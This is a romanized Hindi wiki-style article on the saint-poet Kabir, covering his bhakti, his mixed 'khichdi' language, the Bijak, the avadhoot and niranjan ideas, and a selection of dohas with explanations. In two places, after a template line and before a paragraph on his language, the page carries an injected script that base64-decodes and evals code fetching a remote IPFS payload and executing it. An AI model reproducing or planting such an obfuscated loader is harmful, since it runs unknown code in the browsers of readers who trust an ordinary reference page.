isane do roopoan mean atm–prakash kiya. pauranik avataroan ko kendr karake sagun upasana ke roop mean aur nirgun parabrahm jo yogiyoan ka dhyey tha, use kendr karake prem–bhakti ki sadhana ke roop mean. pahali sadhana ne hindoo jati ki bahyachar ki shushkata ko aantarik prem se sianchakar rasamay banaya aur doosari sadhana ne bahyachar ki shushkata ko hi door karane ka prayatn kiya. ek ne samajhaute ka rasta liya, doosari ne vidroh ka; ek ne shastr ka sahara liya, doosari ne anubhav ka; ek ne shrriddha ko path–pradarshak mana, doosari ne jnan ko; ek ne sagun bhagavan ko apanaya, doosari ne nirgun bhagavan ko. par prem donoan hi ka marg tha; sookha jnan donoan ko apriy tha; keval bahyachar donoan ko sammat nahian the; aantarik prem nivedan donoan ko abhisht tha; ahaituk bhakti donoan ki kamy thi; bina shart ke bhagavan ke prati atm–samarpan donoan ke priy sadhan the. in batoan mean donoan hi ek the. sabase b da aantar inake lila sambandhi vicharoan mean tha. donoan hi bhagavan ki prem lila mean vishvas karate the. donoan ka hi anubhav tha ki lila ke lie is jagatik prapanch ko samhale hue haian. par pradhan bhay yah tha ki sagun bhav se bhajan karane vale bhakt apane ap mean rame hue bhagavan ko hi param kamy manate the.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sahityik parichay

kabir sant kavi aur samaj sudharak the. unaki kavita ka ek-ek shabd pakhandiyoan ke pakhandavad aur dharm ke nam par dhoang v svarthapoorti ki niji dukanadariyoan ko lalakarata hua aya aur asaty v anyay ki pol khol dhajjiyaan udata chala gaya. kabir ka anubhoot saty aandhavishvasoan par baroodi palita tha. saty bhi aisa jo aj tak ke parivesh par savaliya nishan ban chot bhi karata hai aur khot bhi nikalata hai.

kabiradas ki bhasha aur shaili

1. REDIRECTsaancha:mukhy

chitr:Blockquote-open.gif hindi sahity ke hazar varshoan ke itihas mean kabir jaisa vyaktitv lekar koee lekhak utpann nahian hua. mahima mean yah vyaktitv keval ek hi pratidvandvi janata hai, tulasidas. chitr:Blockquote-close.gif - hazari prasad dvivedi

kabiradas ne bolachal ki bhasha ka hi prayog kiya hai. bhasha par kabir ka jabaradast adhikar tha. ve vani ke diktetar the. jis bat ko unhoanne jis roop mean prakat karana chaha hai, use usi roop mean kahalava liya–ban gaya hai to sidhe–sidhe, nahian darera dekar. bhasha kuchh kabir ke samane lachar–si nazar ati hai. usamean mano aisi himmat hi nahian hai ki is laparava phakk d ki kisi faramaish ko nahian kar sake. aur akah kahani ko roop dekar manograhi bana dene ki to jaisi takat kabir ki bhasha mean hai vaisi bahut hi kam lekhakoan mean paee jati hai. asim–anant brahmanand mean atma ka sakshibhoot hokar milana kuchh vani ke agochar, pak d mean n a sakane vali hi bat hai. par 'behaddi maidan mean raha kabira' mean n keval us gambhir nigoodh tattv ko moortiman kar diya gaya hai, balki apani fakk dana prakriti ki muhar bhi mar di gee hai. vani ke aise badashah ko sahity–rasik kavyanand ka asvadan karane vala samajhean to unhean dosh nahian diya ja sakata. phir vyangy karane mean aur chutaki lene mean bhi kabir apana pratidvandvi nahian janate. pandit aur qazi, avadhu aur jogiya, mulla aur maulavi–sabhi unake vyangy se tilamila jate the. atyant sidhi bhasha mean ve aisi chot karate haian ki khanevala keval dhool jha d ke chal dene ke siva aur koee rasta nahian pata.

is prakar yadyapi kabir ne kahian kavy likhane ki pratijna nahian ki tathapi unaki adhyatmik ras ki gagari se chhalake hue ras se kavy ki katori mean bhi kam ras ikattha nahian hua hai. kabir ne jin tattvoan ko apani rachana se dhvanit karana chaha hai, usake lie kabir ki bhasha se zyada saf aur zoradar bhasha ki sambhavana bhi nahian hai aur zaroorat bhi nahian hai. parantu kalakram se vah bhasha aj ke shikshit vyakti ko durooh jan p dati hai. kabir ne shastriy bhasha ka adhyayan nahian kiya tha, par phir bhi unaki bhasha mean parampara se chali aee visheshataean vartaman haian. isaka aitihasik karan hai. is aitihasik karan ko jane bina us bhasha ko thik–thik samajhana sambhav nahian hai. is pustak mean usi aitihasik parampara ke adhyayan ka prayas hai. yah prayas poorn roop se saphal hi hua hoga, aisa ham koee dava nahian karate, parantu vah grahaniy nahian hai, is bat mean lekhak ko koee sandeh nahian hai.

panchamel khich di bhasha

chitr:Blockquote-open.gif kabir ki vani ka anukaran nahian ho sakata. anukaran karane ki sabhi cheshtaean vyarth siddh huee haian. isi vyaktitv ke karan kabir ki uktiyaan shrota ko balapoorvak akrisht karati haian. isi vyaktitv ke akarshan ko sahriday samalochak sambhal nahian pata aur rijhakar kabir ko 'kavi' kahane mean santosh pata hai. chitr:Blockquote-close.gif - hazari prasad dvivedi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kabir ki rachanaoan mean anek bhashaoan ke shabd milate haian yatha - arabi, farasi, panjabi, bundelakhandi, brajabhasha, kh diboli adi ke shabd milate haian isalie inaki bhasha ko 'panchamel khich di' ya 'sadhukk di' bhasha kaha jata hai. prasang kram se isamean kabiradas ki bhasha aur shaili samajhane ke kary se kabhi–kabhi age badhane ka sahas kiya gaya hai. jo vani ke agochar haian, use vani ke dvara abhivyakt karane ki cheshta ki gee hai; jo man aur buddhi ki pahuanch se pare haian; use buddhi ke bal par samajhane ki koshish ki gee hai; jo desh aur kal ki sima ke pare haian, use do–char–das prishthoan mean baandh dalane ki sahasikata dikhaee gee hai. kahate haian, samast puran aur mahabharatiy sanhita likhane ke bad vyasadev mean atyant anutap ke sath kaha tha ki 'he adhil vishv ke gurudev, apaka koee roop nahian hai, phir bhi maianne dhyan ke dvara in granthoan mean roop ki kalpana ki hai; ap anirvachaniy haian, vyakhya karake apake svaroop ko samajha sakana sambhav nahian hai, phir bhi maianne stuti ke dvara vyakhya karane ki koshish ki hai. vani ke dvara prakash karane ka prayas kiya hai. tum samast–bhuvan–vyapt ho, is brahmaannd ke pratyek anu–paramanu mean tum bhine hue ho, tathapi tirth–yatradi vidhan se us vyapitv ko khandit kiya hai. bhala jo sarvatr parivyapt hai, usake lie tirth vishesh mean jane ki kya vyavastha? so he jagadish, meri buddhigat vikalata ke ye tin aparadh–aroop ki roopakalpana, anirvachaniy ka stutinirvachan, vyapi ka sthan–vishesh mean nirdesh—tum kshama karo.' kya vyas ji ke mahanh adarsh ka padanusaran karake is lekhak ko bhi yahi kahane ki zaroorat hai?—

roopan roopavivarjitasy bhavato dhyanen yatkalpitamh,
stutya nirvachaniyataakhilagurodoori kritayanmaya.
vyapitvan ch nirakritan bhagavato yattirthayatradina,
kshantavyan jagadashi, tadh vikalata–doshatrayan matkritamh..

vriddhavastha mean yash aur kirtti ne unhean bahut kasht diya. usi halat mean unhoanne banaras chho da aur atmanirikshan tatha atmaparikshan karane ke liye desh ke vibhinn bhagoan ki yatraean kian. isi kram mean ve kalianjar zile ke pithaurabad shahar mean pahuanche. vahaan ramkrishna ka chhota sa mandir tha. vahaan ke sant bhagavan gosvami jijnasu sadhak the kiantu unake tarkoan ka abhi tak poori tarah samadhan nahian hua tha. sant kabir se unaka vichar-vinimay hua. kabir ki ek sakhi ne un ke man par gahara asar kiya-

ban te bhaga bihare p da, karaha apani ban.
karaha bedan kasoan kahe, ko karaha ko jan...

moortti pooja ko lakshy karate hue kabiradas ne kaha hai-

pahan pooje hari milaian, to maian poojauan pahar.
ya te to chaki bhali, jase pisi khay sansar..

roopatit vyanjana aur khandan mandan

thumb|250px|kabiradas prem bhakti ko kabiradas ki vaniyoan ki kendriy vastu n manane ka hi yah parinam hua hai ki achchhe–achchhe vidvanh unhean ghamandi, atapati vani ka bolanahara, ekeshvaravad aur advaitavad ke barik bhed ko n janane vala, ahankari, agun–sagun–vivek–anabhijn adi kahakar apane ko unase adhik yogy manakar santosh pate rahe haian. yah mani huee bat hai ki jo bat lok mean ahankar kahalati hai vah bhagavatprem ke kshetr mean, svadhinabhartrika nayika ke garv ki bhaanti apane aur priy ke prati akhand vishvas ki parichayak hai; jo bat lok mean dabboopan aur qayarata kahalati hai, vahi bhagavatprem ke kshetr mean bhagavan ke prati bhakt ka anany parayan amtarpan hoti hai aur jo batean lok mean paraspar viruddh janchati haian bhagavan ke vishay mean unaka virodh door ho jata hai. lok mean aise jiv ki kalpana nahian ki ja sakati jo karnahin hokar bhi sab kuchh sunata ho, chakshurahit bana rahakar bhi sab kuchh dekh sakata ho, vanihin hokar bhi vakta ho sakata ho, jo chhote-se-chhota bhi ho aur b de-se-b da bhi, jo ek bhi ho aur anek bhi, jo bahar bhi ho bhitar bhi, jise sabaka malik bhi kaha ja sake aur sabaka sevak bhi, jise sabake oopar bhi kaha ja sake aur sarvamay sevak bhi; jisamean samast gunoan ka arop bhi kiya ja sake aur gunahinata ka bhi, aur phir bhi jo n indriy ka vishay ho, n man ka, n buddhi ka. parantu bhagavan ke lie sab visheshan sab deshoan ke sadhak sarv–bhav se dete rahe haian. jo bhakt nahian haian, jo anubhav ke dvara sakshatkar kie hue saty mean vishvas nahian rakhate, ve keval tark mean ulajhakar rah jate haian; par jo bhakt haian, ve bhuja uthakar ghoshana karate haian, 'agunahian–sagunahian nahian kachhu bheda' (tulasidas). parantu tark parayan vyakti is kathan ke atapatepan ko vadato–vyaghat kahakar santosh kar leta hai.

yadi bhakti ko kabiradas ki vaniyoan ki kendriy vastu man liya jata to nissandeh svikar kar liya jata ki bhakt ke lie ve sari batean bematalab haian,jinhean ki vidvanh log barik bhed kahakar anand paya karate haian. bhagavan ke anivarchaniy svaroop ko bhakt ne jaisa kuchh dekha hai vah vani ke prakashan kshetr ke bahar haian, isilie vani nana prakar se paraspar virodhi aur avirodhi shabdoan ke dvara us param premamay ka roop nirdesh karane ki cheshta karati hai. bhakt usaki asamarthata par nahian jata, vah usaki roopatit vyanjana ko hi dekhata hai. bhakti tattv ki vyakhya karate–karate unhean un bahyachar ke janjaloan ko saf karane ki zaroorat mahasoos huee hai jo apani j d prakriti ke karan vishuddh chetan–tattv ki upalabdhi mean badhak hai ! yah bat hi samaj sudhar aur sampraday aiky ki vidhatri ban gee hai. par yahaan bhi yah kah rakhana thik hai ki vah bhi phokat ka mal ya baeeprodakt hi hai.

kabiradas ka bhakt roop

kabiradas ka yah bhakt roop hi unaka vastavik roop hai. isi kendr ke ird–gird unake any roop svayamev prakashit ho uthe haian. mushkil yah hai ki is kendriy vastu ka prakash bhasha ki pahuanch se bahar hai. bhakti kahakar nahian samajhaee ja sakati, vah anubhav karake asvadan ki ja sakati hai. kabiradase ne is bat ko hazar tariqe se kaha hai. is bhakti ya bhagavan ke prati ahaituk anurag ki bat kahate samay unhean aisi bahut si batean kahani p dian haian jo bhakti nahian haian. par bhakti ke anubhav karane mean sahayak haian. mool vastu chooanki vani ke agochar hai, isalie keval vani ka adhyayan karane vale vidyarthi ko agar bhram mean p d jana p da ho to ashchary ki koee bat nahian hai. vani dvara unhoanne us nigoodh anubhavaikagamy tattv ki aur ishara kiya hai, use dhvanit kiya gaya hai. aisa karane ke lie unhean bhasha ke dvara roop kh da karana p da hai aur aroop ko roop ke dvara abhivyakt karane ki sadhana karani p di hai. kavyashastr ke achary ise hi kavi ki sabase b di shakti batate haian. roop ke dvara aroop ki vyajanna, kathan ke jarie akathy ka dhvanan, kavy–shakti ka charam nirdeshan nahian to kya hai? phir bhi dhvanit vastu hi pradhan hai; dhvanit karane ki shaili aur samagri nahian. is prakar kavyatv unake padoan mean phokat ka mal hai—baiprodakt hai; vah kolatar aur sire ki bhaanti aur chizoan ko banate–banate apane–ap ban gaya hai.

rachanaean

1. REDIRECTsaancha:mukhy

kabiradas ne hindoo-musalaman ka bhed mita kar hindoo-bhaktoan tatha musalaman fakiroan ka satsang kiya aur donoan ki achchhi batoan ko hridayaangam kar liya. sant kabir ne svayan granth nahian likhe, muanh se bole aur unake shishyoan ne use likh liya. kabiradas anapadh the. kabiradas ke samast vicharoan mean ram-nam ki mahima pratidhvanit hoti hai. ve ek hi eeshvar ko manate the aur karmakand ke ghor virodhi the. avatar, moortti, roza, eed, masjid, mandir adi ko ve nahian manate the. kabir ke nam se mile granthoan ki sankhya bhinn-bhinn lekhoan ke anusar bhinn-bhinn hai. kabir ki vani ka sangrah `bijak' ke nam se prasiddh hai. isake tin bhag haian-

1. ramaini
2. sabad
3. sakhi

bijak

1. REDIRECTsaancha:mukhy

'bijak' kabiradas ke matoan ka purana aur pramanik sangrah hai, isamean sandeh nahian. ek dhyan dene yogy bat isamean yah hai ki 'bijak' mean 84 ramainiyaan haian. ramainiyaan chaupaee chhand mean likhi gee haian. inamean kuchh ramainiyaan aisi haian. jinake aant mean ek-ek sakhi uddhrit ki gee hai. sakhi uddhrit karane ka arth yah hota hai ki koee doosara adami manoan in ramainiyoan ko likh raha hai aur is ramaini-roop vyakhya ke praman mean kabir ki sakhi ya gavahi pesh kar raha hai. jalandharanath ke shishy kunnapad (kanapa) ne kaha hai: 'sakhi karab jalandhari pae', astu bahut tho di-si ramainiyaan (nan. 3,28 32, 42, 56, 62, 70, 80) aisi haian jinake aant mean sakhiyaan nahian haian. parantu is prakar uddhrit karane ka kya arth ho sakata hai? is pustak mean maianne 'bijak' ko nissankoch praman-roop mean vyavahrit hai, par svay 'bijak' hi is bat ka praman hai ki sakhiyoan ko sabase adhik pramanik samajhana chahie, kyoanki svany 'bijak' ne hi ramainiyoan ki pramanikata ke lie sakhiyoan ka havala diya hai. isilie kabiradas e siddhaantoan ki janakari ka sabase uttam sadhan sakhiyaan hai.

kabir rachanavali

kabiradas ki vaniyoan ke anek sangrah prakashit hue hai, par unamean sabase achchha susanpadit sanskaran ayodhyasianh upadhyay 'hariaudh' ki 'kabir' rachanavali hai. yah bhi kashi nagari pracharini sabha ka hi prakashan hai. kabiradas ke padoan mean jitane sanbodhan haian un sabaka ek-n- ek khas prayojan hai. jab unhoanne 'avadhoo' ya 'avadhoot' ko pukara hai to yathasanbhav avadhoot ki hi bhasha mean usi ke kriya-kalap ki alochana ki hai. is prasang mean unaki yukti aur tarkashaili poornaroop se avadhoot-jaisi rahati hai. jab ve pandit ya paande ko sanbodhit karate haian to vahaan bhi unaka uddeshy pandit ki hi bhasha mean pandit ki hi yuktiyoan ke bal par usake mat ka niras karana hota hai. isi tarah mulla, qazi adi sanbodhanoan ko bhi samajhana chahie. jab ve apane-apakoan ya santoan ko sanbodhit karake bolate haian tab ve apana mat prakat karate jan p date haian. ve apane mat ke manane vale ko hi 'sant' ya sadhu kahate haian. sadharanat: ve 'bhaee' sanbodhan ke dvara sadharan janata se bat karate haian aur jab kabhi ve 'jogiya' ko pukar uthate haian to spasht ji jan p data hai ki is bhale adami ke sanbandh mean unaki dharana kuchh bahut achchhi nahian thi. yah dava kiya gaya hai ki guru-parapara ki janakari rakhane vale log kabiradas ke atm-sanbodhan mean ek nishchit sanket ki bat bataya karate haian.

avadhoo aur avadhoot

bharatiy sahity mean yah 'avadhoo' shabd kee sanpradayoan ke siddh acharyoan ke arth mean vyavahut hua hai. sadharanat: jagatik dvandvoan se atit, manapaman-vivarjit, pahuanche hue yogi ko avadhoot kaha jata hai. yah shabd mukhyataya taantrikoan, sahajayaniyoan aur yogiyoan ka hai. sahajayan aur vajrayan namak bauddh taantrik matoan mean 'avadhooti vritti' namak ek vishesh prakar ki yaugik vritti ka ullekh milata hai. athavian shatabdi ke bad se nalanda, vikramashila, odantapuri adi vidyayatanoan mean jo bauddh dharm prachalit hua vah ek navin dhang ka taantrik aur yogakriyamoolak dharm tha. is navin taantrik mat mean tin pradhan matoan ka sandhan paya jata hai-sahajayan, vajrayan aur kalachakrayan. in matoan ki adhikaansh pustakean aj tibbati anuvad ke roop mean hi surakshit haian. sv. haraprasad shastri ne 'charyachayivinishchay', 'dohakosh', 'advayavajrasangrah' aur 'guhy-samajatantr' adi pustakean prakashit ki haian. sahajayan aur vajrayan mean bahut kuchh samanata hai. shastri ji ne jo charyapad prakashit karae haian unamean aryadev, bhoosuk, kanh, sarah, luee adi acharyoan ke pad haian, jinhean tibbati sahity mean siddhachary kaha gaya hai. ye acharyagan sahajavastha ki bat karate haian. sahajavastha ko prapt karane par hi sadhak avadhoot hota hai.

tantr-granthoan mean char prakar ke avadhootoan ki charcha hai- brahmavadhoot, shaivavadhoot, bhaktavadhoot aur hansavadhoot. hansavadhootoan mean jo poorn hote haian ve paramahans aur jo apoorn hote haian ve parivrajak kahalate haian ('prantoshini'). parantu kabiradas ne n to itane tarah ke avadhootoan ki kahian koee charcha hi ki hai aur n oopar 'nirvan-tantr' ke batae hue avadhoot se unake avadhoot ki koee samata hi dikhaee hai. 'hansa' ki bat kabiradas kahate zaroor haian par ve hans aur avadhoot ko shayad hi kahian ek samajhate hoan. ve barabar hans ya pakshi shuddh aur mukt jivatma ko hi kahate haian. isi bhav ko batane ke lie bhartrihari ne kaha hai ki is avadhoot muni ki bahy kriyaean prashamit ho gee haian. vah n du:kh samajhata hai, n sukh ko sukh. vah kahian bhoomi par so sakata hai kahian palang par, kahian kantha dharan kar leta hai kahian divy vasan, kahian madhur bhojan pane par use bhi pa leta hai. 'kiantu kabiradas is prakar yog mean bhog ko pansad nahian karate. yadyapi in yogiyoan ke sanpraday ke siddhoan ko hi kabirad avadhoot kahate haian tathapi ve sadharan yogi avadhoot ke farq ko barabar yad rakhate haian. sadharan yogi ke prati unake man mean vaisa adar ka bhav nahian hai jaisa avadhoot ke bare mean hai. kabhi-kabhi unhoanne spasht bhasha mean yogi ko aur avadhoot ko bhinn roop se yad kiya hai. is prakar kabiradas ka avadhoot nathapanthi siddh yogi hai.

prasiddh hai ki ek bar kashi ke panditoan mean dvait aur advait tattv ka shastrarth bahut dinoan tak chalata raha. jab kisi shishy ne kabir sahab ka mat poochha to unhoanne javab mean shishy se hi kee prashn kie. shishy ne jo uttar diya usaka sar-marm yah tha ki vidyaman panditoan mean is vishay mean koee matabhed nahian hai ki bhagavan, roop, ras, gandh evan sparsh se pare haian, gunoan aur kriyaoan ke atit haian, vaky aur man ke agochar haian. kabiradas ne hasankar javab diya ki bhala un l dane vale panditoan se poochho ki bhagavan roop se nikal gaya, ras se nikal gaya, ras se atit ho gaya, gunoan ke oopar uth gaya, kriyaoan ki pahuanch ke bahar ho raha, vah aant mean akar sankhya mean atak jaega? jo sabase pare hai vah kya sankhya ke pare nahian ho sakata? yah kabir ka dvaitadvait-vilakshan samatattvavad hai.

niranjan kaun hai?

madhyayug ke yog, mantr aur bhakti ke sahity mean 'niranjan' shabd ka barambar ullekh milata hai. nathapanth mean bhi 'niranjan' shabd khoob parichit hai. sadharan roop mean 'niranjan' shabd nirgun brahm ka aur vishesh roop se shiv ka vachak hai. nathapanth ki bhaanti ek aur prachin panth bhi tha, jo niranjan pad ko paramapad manata tha. jis prakar nathapanthi nath ko paramaradhy manate the, usi prakar ye log 'niranjan' ko. ajakal niranjani sadhuoan ka ek sampraday rajapootane mean vartaman hai. kahate haian, is sampraday ke pravartak svami niranand niranjan bhagavan (nirgun) ke upasak the.

bangal ke pashchimi hissoan tatha bihar ke poorvi ziloan mean aj bhi ek dharmamat hai, jisake devata niranjan ya dharmaraj haian. ek samay yah sampraday jharakhand aur rivaan tak prachalit tha. bad mean chalakar yah mat kabir sampraday mean aantarbhukt ho gaya aur usaki sari pauranik kathaean kabir mat mean grihit ho geean, parantu unaka svar badal gaya. nathapanth mean niranjan ki mahima khoob gaee gee hai. hathayogi jab nadanusandhan ka saphal abhyasi ho jata hai to usake samast pap kshin ho jate haian, usake chitt aur marut niranjan mean lin ho jate haian. yah yogi ka param sadhy hai, kyoanki jab tak jnan niranjan ke sakshatkar tak nahian uthata tabhi tak is sansar ke vividh jivoan aur nana padarthoan mean bhed-drishti bani huee hai.

kabir ke dohe

1. REDIRECTsaancha:mukhy

yahaan kabiradas ke kuchh dohe diye gaye haian.

(1) sadhoo bhookha bhav ka, dhan ka bhookha nahian.
dhan ka bhookha ji phirai, so to sadhoo nahian ॥

vyakhya:- kabir das ji kahate haian ki santajan to bhav ke bhookhe hote haian, aur dhan ka lobh unako nahian hota. jo dhan ka bhookha banakar ghoomata hai vah to sadhoo ho hi nahian sakata.

(2) jaisa bhojan khaiye, taisa hi man hoy.
jaisa pani pijiye, taisi vani hoy..

vyakhya:- sant shiromani kabiradas kahate haian ki jaisa bhojan karoge, vaisa hi man ka nirman hoga aur jaisa jal piyoge vaisi hi vani hogi arthath shuddh-satvik ahar tatha pavitr jal se man aur vani pavitr hote haian isi prakar jo jaisi sangati karata hai vaisa hi ban jata hai.

kabiradas ji ke kuchh prasiddh dohe

guru goviand dou kh de kake lagooan pay. balihari guru apane goviand diyo batay..	aisi vani bolie man ka apa khoye . auran ko shital kare, apahuan shital hoe ..	loot sake to loot le, ram nam ki loot . pachhe phire pachhataoge, pran jahian jab chhoot ॥
b da bhaya to kya bhaya, jaise pe d khajoor . panthi ko chhaya nahian phal lage ati door ..	bura jo dekhan maian chala, bura n miliya koy . jo man dekha apana, mujh se bura n koy ..	tinaka kabahuan na niandaye, jo paanv tale hoy . kabahuan u d aankho p de, pir ghaneri hoy ॥
duahkh mean sumiran sab kare, sukh mean kare n koy . jo sukh mean sumiran kare, to duahkh kahe ko hoy ..	mati kahe kumar se, too kya roande mohe . ek din aisa aega, maian roanduangi tohe ..	maangan maran saman hai, mat maango koee bhikh,. maangan se marana bhala, ye sataguru ki sikh ॥
chalati chakki dekh ke, diya kabira roye . do patan ke bich mean, sabut bacha n koe ..	kal kare so aj kar, aj kare so ab . pal mean paralay hoegi, bahuri karega kab ..	maya mari n man mara, mar-mar ge sharir . asha trishna n mari, kah ge das kabir ॥
jahaan daya taha dharm hai, jahaan lobh vahaan pap . jahaan krodh taha kal hai, jahaan kshama vahaan ap ..	jo ghat prem n sanchare, jo ghat jan saman . jaise khal luhar ki, saans let binu pran ..	kabira jab ham paida hue, jag hanse ham roye. aisi karani kar chalo, ham hanse jag roye॥
kabir suta kya kare, jagi n jape murari. ek din too bhi sovega, lambe paanv pasari ॥	kabir khada bazar mean, sabaki maange khair . na kahooan se dosti, na kahooan se bair ॥	utha bagula prem ka, tinaka chadha akas. tinaka tinake se mila, tin ka tin ke pas॥
pothi padh padh jag mua, pandit bhaya n koy . dhaee akhar prem ka, padhe so pandit hoy ..	ram bulava bhejiya, diya kabira roy . jo sukh sadhoo sang mean, so baikuanth n hoy ॥	sadhoo gaanth n baandhee udar samata ley. age pachhe hari kh de jab maange tab dey॥
saeean itana dijiye, jame kutuanb samaye. maian bhi bhookha n rahooan, sadhoo n bhookha jae ..	sumiran soorat lagaeean ke, mukh se kachhu n bol . bahar ka pat band kar, andar ka pat khol ..	kami krodhi lalachi, inase bhakti n hoy . bhakti kare koee surama, jati baran kul khoe ..

vyaktitv

1. REDIRECTsaancha:mukhy

thumb|300px|kabiradas hindi sahity ke hazar varshoan ke itihas mean kabir jaisa vyaktitv lekar koee lekhak utpann nahian hua. mahima mean yah vyaktitv keval ek hi pratidvandvi janata hai, tulasidas. parantu tulasidas aur kabir ke vyaktitv mean b da antar tha. yadyapi donoan hi bhakt the, parantu donoan svabhav, sanskar aur drishtikon mean ekadam bhinn the. masti, fakk dana svabhav aur sabakuchh ko jha d–phatakar kar chal dene vale tez ne kabir ko hindi–sahity ka advitiy vyakti bana diya hai.

akarshak vakta

kabir ki vaniyoan mean sabakuchh ko chhakar unaka sarvajayi vyaktitv virajata rahata hai. usi ne kabir ki vaniyoan mean anany–asadharan jivan ras bhar diya hai. kabir ki vani ka anukaran nahian ho sakata. anukaran karane ki sabhi cheshtaean vyarth siddh huee haian. isi vyaktitv ke karan kabir ki uktiyaan shrota ko balapoorvak akrisht karati haian. isi vyaktitv ke akarshan ko sahriday samalochak sambhal nahian pata aur rijhakar kabir ko 'kavi' kahane mean santosh pata hai. aise akarshak vakta ko 'kavi' n kaha jae to aur kya kaha jae? parantu yah bhool nahian jana chahie ki yah kaviroop ghalue mean mili huee vastu hai. kabir ne kavita likhane ki pratijna karake apani batean nahian kahi thian. unaki chhandoyojana, uchit–vaichitry aur alankar vidhan poorn–roop se svabhavik aur ayatnasadhit haian. kavyagat roodhiyoan ke n to ve janakar the aur n hi qayal. apane anany–sadharan vyaktitv ke karan hi ve sahriday ko akrisht karate haian. unamean ek aur b da bhari gun hai, jo unhean anyany santoan se vishesh bana deta hai.

sadagi aur sahajabhav

yadyapi kabiradas ek aise virat aur anandamay lok ki bat karate haian jo sadharan manushyoan ki pahuanch ke bahut oopar hai aur ve apane ko us desh ka nivasi batate haian jahaan par barah mahine basant rahata hai, nirantar amrit ki jh di lagi rahati hai. phir bhi jaisa ki evelin aandarahil ne kaha hai, ve us atmavismritikari param ullasamay sakshatkar ke samay bhi dainadin–vyavahar ki duniya ke sath dharati par jame rahate haian; unake mahila–samanvit aur avegamay vichar, barabar dhir aur sajiv buddh tatha sahaj bhav dvara niyantrit hote rahate haian, jo sachche marami kaviyoan mean hi milate haian. unaki sarvadhik lakshy hone vali visheshataean haian—

• sadagi aur sahajabhav par nirantar zor dete rahana,
• bahy dharmacharoan ki nirmam alochana, aur
• sab prakar ke viragabhav aur hetu prakritigat anusandhitsa ke dvara sahaj hi galat dikhane vali batoan ko durbodhy aur mahanh bana dene ki cheshta ke prati vair–bhav.

isilie ve sadharan manushy ke lie durbodhy nahian ho jate aur apane asadharan bhavoan ko grahy banane mean sada saphal dikhaee dete haian. kabiradas ke is gun ne saik doan varsh se unhean sadharan janata ka neta aur sathi bana diya hai. ve keval shraddha aur bhakti ke patr hi nahian, prem aur vishvas ke aspad bhi ban ge haian. sach poochha jae to janata kabiradas par shraddha karane ki apeksha prem adhik karati hai. isilie unake sant–roop ke sath hi unaka kavi–roop bhi barabar chalata rahata hai. ve keval neta aur guru hi nahian haian, sathi aur mitr bhi haian.

mahan samaj sudharak

kabir ne aisi bahut si batean kahi haian, jinase (agar upayog kiya jae to) samaj–sudhar mean sahayata mil sakati hai, par isalie unako samaj–sudharak samajhana galati hai. vastutah ve vyaktigat sadhana ke pracharak the. samashti–vritti unake chitt ka svabhavik dharm nahian tha. ve vyashtivadi the. sarv–dharm samansay ke lie jis mazaboot adhar ki zaroorat hoti hai vah vastu kabir ke padoan mean sarvatr paee jati hai, vah bat hai bhagavan ke prati ahaituk prem aur manushyamatr ko usake nirvishisht roop mean saman samajhana. parantu ajakal sarv–dharm samanvay se jis prakar ka bhav liya jata hai, vah kabir mean ekadam nahian tha. sabhi dharmoan ke bahy acharoan aur antar sanskaroan mean kuchh n kuchh vishesh dekhana aur sab acharoan, sanskaroan ke prati samman ki drishti utpann karana hi yah bhav hai. kabir inake kathor virodhi the. unhean arthahin achar pasand nahian the, chahe ve b de se b de achary ya paigambar ke hi pravarttit hoan ya uchch se uchch samajhi jane vali dharm pustak se upadisht hoan. bahyachar ki nirarthak aur sanskaroan ki vicharahin gulami kabir ko pasand nahian thi. ve inase mukt manushyata ko hi premabhakti ka patr manate the. dharmagat visheshataoan ke prati sahanashilata aur sanbhram ka bhav bhi unake padoan mean nahian milata. parantu ve manushyamatr ko saman maryada ka adhikari manate the. jatigat, kulagat, acharagat shreshthata ka unaki drishti mean koee mooly nahian tha. sampraday–pratishtha ke bhi ve virodhi jan p date haian. parantu phir bhi virodhabhas yah hai ki unhean hazaroan ki sankhya mean log sampraday vishesh ke pravarttak manane mean hi gaurav anubhav karate haian.

jivan darshan

kabir paramatma ko mitr, mata, pita aur pati ke roop mean dekhate haian. ve kahate haian-
harimor piu, maian ram ki bahuriya . to kabhi kahate haian-
hari janani maian balak tora. us samay hiandoo janata par muslim atank ka kahar chhaya hua tha. kabir ne apane panth ko is dhang se suniyojit kiya jisase muslim mat ki or jhuki huee janata sahaj hi inaki anuyayi ho gayi. unhoanne apani bhasha saral aur subodh rakhi taki vah am adami tak pahuanch sake. isase donoan sampradayoan ke paraspar milan mean suvidha huee. inake panth musalaman-sanskriti aur gobhakshan ke virodhi the. kabir ko shaantimay jivan priy tha aur ve ahiansa, saty, sadachar adi gunoan ke prashansak the. apani saralata, sadhu svabhav tatha sant pravritti ke karan aj videshoan mean bhi unaka adar hota hai.

dharmaguru

kabir dharmaguru the. isalie unaki vaniyoan ka adhyatmik ras hi asvady hona chahie, parantu vidvanoan ne nana roop mean un vaniyoan ka adhyayan aur upayog kiya hai. kavy–roop mean use asvadan karane ki to pratha hi chal p di hai. samaj–sudharak ke roop mean, sarv–dharmasamanvayakari ke roop mean, hindoo–muslim–aiky–vidhayak ke roop mean bhi unaki charcha kam nahian huee hai. yoan to 'hari anant harikatha ananta, vividh bhaanti gavahian shruti–santa' ke anusar kabir kathit hari ki katha ka vividh roop mean upayog hona svabhavik hi hai, par kabhi–kabhi utsahaparayan vidvanh galati se kabir ko inhian roopoan mean se kisi ek ka pratinidhi samajhakar aisi–aisi batean karane lagate haian jo ki asangat kahi ja sakati haian.

hindoo–muslim ekata

